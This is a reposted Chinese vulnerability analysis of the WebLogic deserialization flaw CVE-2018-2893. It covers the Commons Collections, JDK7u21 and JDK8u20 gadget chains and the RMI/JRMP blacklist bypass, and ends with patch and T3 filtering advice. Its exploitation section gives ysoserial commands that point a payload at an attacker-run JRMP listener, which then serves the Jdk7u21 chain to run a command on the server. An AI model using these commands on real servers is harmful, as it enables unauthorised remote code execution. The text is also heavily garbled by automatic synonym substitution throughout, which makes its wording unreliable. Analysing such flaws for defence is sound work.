天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

LazyMap着实也是类似的,只不过借用了动态代理的措施去实现

一、背景先容

WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVA EE架构的中心件, WebLogic是用于开拓、集成、支配和治理大年夜型散播式Web利用、收集利用和数据库利用的Java利用办事器

1.1 破绽描述

Oracle官方在2018年7月宣布了关键补丁更新,此中包孕了Oracle WebLogic Server的一个高危的WebLogic反序列化破绽,经由过程该破绽,进击者可以在未授权的环境下远程履行代码

此破绽孕育发生于WebLogic T3办事,当开放WebLogic节制大驾口(默觉得7001端口)时,T3办事会默认开启,是以会造成较大年夜影响结合曾经爆出的WebLogic WLS 组件破绽,不扫除会有进击者使用破绽挖矿的可能,是以,建议受影响企业用户尽快支配防护步伐

1.2 受影响的系统版本

WebLogic10.3.6.0

WebLogic12.1.3.0

WebLogic12.2.1.2

WebLogic12.2.1.3

1.3 破绽编号

CVE-2018-2893

二、破绽细节

此次的WebLogic (CVE-2018-2893)破绽和之前的JRMP协议破绽(CVE-2018-2628)破绽是分不开的,他是结合了RMI机制缺陷和JDK反序列化破绽绕过了WebLogic黑名单,以是先容这个破绽之前,先回首下之前的破绽使用链

在CVE-2015-4852 中使用的是Commons Collections 库,主流的两大年夜使用链是TransformedMap和Lazymap,着实他们的核心都是类似的

先拿TransformedMap做个先容,核心是反射机制

反射机制

JAVA反射机制是在运行状态中,对付随意率性一个类,都能够知道这个类的所有属性和措施;对付随意率性一个工具,都能够调用它的随意率性一个措施和属性;这种动态获取的信息以及动态调用工具的措施的功能称为Java说话的反射机制

对应得代码是这样,下面这段代码就可以经由过程反射调用java.net.URLClassLoader.class,这个类可以本地或者远程拉起随意率性的jar文件,同时不用管文件名后缀,直接读取二进制的jar文件下面这个是拉起了一个反弹Shell功能的jar文件

然后再来看看核心的反射措施,InvokerTransformer中的transform措施这个措施便是实现履行随意率性类的核心措施,然则必须必要经由过程反序列化的要领调用这个措施那么是若何调用的呢?

在TransformedMap中有三个措施调用了transform措施

下面便是找到谁调用了这3个措施中的一个,可以看到TransformdMap承袭了父类,所有的类都实现了序列化接口,不然无法反序列化,这个不再重复强调

跟进这个父类

可以看到MapEntry调用的setValue调用了此中的checkSetvalue措施好了哪里调用了setValue呢?

那便是经典的sun.reflect.annotation.AnnotationInvocationHandler,它重写了ReadObject反序列化的措施,此中就调用了MapEntry的SetValue措施

然后WebLogic的T3协议走的都是ReadObject措施,以是你给他经由过程T3协议发送WriteObject措施序列化后的二进制字节,他就自然的走上面的进击链了,下面附上完备进击链

可以看到Lazymap中的get措施调用了transfrom措施

经典的sun.reflect.annotation.AnnotationInvocationHandler的invoke措施中掉落用了get措施,经由过程动态代理要领就可以调用这个措施

然后谈谈RMI绕过,RMI又都是走的序列化和反序列化,以是CVE-2017-3248和CVE-2018-2628 破绽都是这么绕过的CVE-2018-2628是由于补丁只封堵了CVE-2017-3248的接口java.rmi.registry.Registry,然而CVE-2018-2628是使用了java.rmi.activation.Activator接口绕过了黑名单

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让法度榜样员开拓出基于Java的散播式利用一个RMI工具是一个远程Java工具,可以从另一个Java虚拟机上(以致跨过收集)调用它的措施,可以像调用本地Java工具的措施一样调用远程工具的措施,使散播在不合的JVM中的工具的外表和行径都像本地工具一样

RMI传输历程都应用序列化和反序列化,假如RMI办事端端口对外开拓,并且办事端应用了像Apache CommonsCollections这类库,那么会导致远程敕令履行

[1] [2]下一页

RMI依附于Java远程消息互换协议JRMP(JavaRemote Messaging Protocol),该协议为Java定制,要求办事端与客户端都为Java编写,

由于后来补丁把Commons Collections库破绽补掉落了,反射链没有了,以是此次的CVE-2018-2893是经由过程JDK的反序列化破绽实现的RCE也便是ysoserial中的JDK7u21就可以实现绕过后来还有进级版的JDK8u20是在JDK7u21成长来的JDK7u21使用链也是十分繁杂的然则照样有很多合营点的,它也是借用了跟lazymap相同的动态代理思路,走的也是经典的sun.reflect.annotation.AnnotationInvocationHandler的invoke措施,这个走的是hashcode这个分支

由于commonscollection被干掉落了不能走Lazymap那个分支调用InvokerTransformer中的transform措施以是可以自己写了个恶意的TemplatesImpl类工具自己存到LinkedHashSet

而LinkedHashSet承袭了Hashset,而Hashset又重写了ReadObject措施,并调用了put措施

Put措施中有一处hash绕过,已有具体阐发不再这里先容

着末看下使用代码,先创建了恶意的TemplatesImpl工具,然后经由过程InvocationHandler动态代理调用invoke措施,String zeroHashCodeStr =”f5a5a608″;这个便是为了hash绕过,使proxy.hashCode() == templates.hashCode()

在JDK7u21之后的版本和JDK8u20的版本中修复了经典的sun.reflect.annotation.AnnotationInvocationHandler,这里假如检测出不是AnnotationType,就会退出抛出非常并退出反序列化流程

这里的绕过思路便是着实var1.defaultReadObject()已经完成了反序列化我们的恶意序列化代码,只不过后面非常终止了,以是必要找一处也抛出非常的readObject措施然则同时非常处置惩罚啥也没有做就可以了

java.beans.beancontext.BeanContextSupport中就有这么一个点可以使用,可以看到continue它返回到BeanContextSupport.readObject()措施中,继承履行到deserialize

以是在JDk7u21根基上序列化的二进制数据中插入一段BeanContextSupport工具,这个工具没有加入到动态代理中,在反序列化完成后就会被轻忽,然则照样会分配一个Handle,就会绕过抛出非常中断的问题,其他点跟JDK7u21的使用链就一样了,不过这里必要变动偏移,有文章具体先容不再累述

三、破绽使用

这里应用的是CVE-2018-2628加上JDK7u21,从下面的图可以看到应用的是JDK7u10, 理论上JDK 7系列版本小于即是21的都可以成功触发破绽

>java-jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2″192.168.1.105:1099″ > payload_1

这个payload着实便是CVE-2018-2628的java.rmi.activation.Activator然后经由过程T3协议发送给WebLogic,WebLogic的RMI收到后经由过程JRMP发送给ysoserial写好的Server端

在192.168.1.105上做办事真个监听,假如收到WebLogic的RMI通信就下发 JDK7u21的payload给WebLogic弹出个谋略器

java-cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099Jdk7u21 “calc.exe”

四、修复建议

1) 官方补丁

Oracle官方已经在7月的关键补丁更新中修复了此破绽,受影响的用户请尽快进级更新进行防护

可应用正版软件许可账户登录https://support.oracle.com,下载最新补丁

2) 手工修复

若要使用该破绽, 进击者首先必要与WebLogic Server供给的T3办事端口建立SOCKET连接, 运维职员可经由过程节制T3协议的造访权限光降时阻断破绽使用

WebLogic供给了名叫“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器该连接筛选器可节制所有传入连接,经由过程改动此连接筛选器规则,可对T3及T3S协议进行造访节制

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包